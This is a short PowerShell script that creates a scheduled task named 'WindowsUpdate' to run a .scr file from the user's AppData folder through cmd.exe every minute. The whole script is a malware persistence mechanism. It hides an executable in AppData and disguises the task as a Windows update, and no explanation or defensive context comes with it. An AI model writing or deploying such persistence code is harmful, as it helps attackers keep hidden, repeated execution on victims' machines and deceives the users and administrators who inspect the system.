# Define the path to the executable $exePath = "$env:APPDATA\hall.scr" # Create a scheduled task using schtasks command $taskName = "WindowsUpdate" $command = "schtasks /create /sc minute /mo 1 /tn `"$taskName`" /tr `"cmd.exe /c $exePath`"" # Run the command to create the scheduled task Invoke-Expression $command Write-Host "Scheduled task '$taskName' created to run every minute."